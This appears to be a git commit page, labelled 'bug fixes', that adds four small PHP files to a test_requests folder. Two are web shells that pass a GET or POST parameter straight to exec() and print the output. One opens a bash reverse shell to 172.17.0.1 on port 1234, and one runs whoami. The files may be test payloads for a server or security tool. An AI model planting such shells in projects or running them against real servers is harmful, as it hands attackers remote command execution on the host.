bug fixes
This commit is contained in:
7
test_requests/cmd.php
Normal file
7
test_requests/cmd.php
Normal file
@@ -0,0 +1,7 @@
|
||||
<?php
|
||||
$output=null;
|
||||
$retval=null;
|
||||
exec('whoami', $output, $retval);
|
||||
print_r($output);
|
||||
?>
|
||||
|
||||
7
test_requests/cmdGET.php
Normal file
7
test_requests/cmdGET.php
Normal file
@@ -0,0 +1,7 @@
|
||||
<?php
|
||||
$output=null;
|
||||
$retval=null;
|
||||
exec($_GET['cmd'], $output, $retval);
|
||||
print_r($output);
|
||||
?>
|
||||
|
||||
7
test_requests/cmdPOST.php
Normal file
7
test_requests/cmdPOST.php
Normal file
@@ -0,0 +1,7 @@
|
||||
<?php
|
||||
$output=null;
|
||||
$retval=null;
|
||||
exec($_POST['cmd'], $output, $retval);
|
||||
print_r($output);
|
||||
?>
|
||||
|
||||
3
test_requests/rcmd.php
Normal file
3
test_requests/rcmd.php
Normal file
@@ -0,0 +1,3 @@
|
||||
<?php
|
||||
exec("/bin/bash -c 'bash -i >& /dev/tcp/172.17.0.1/1234 0>&1'");
|
||||
?>
|
||||
Reference in New Issue
Block a user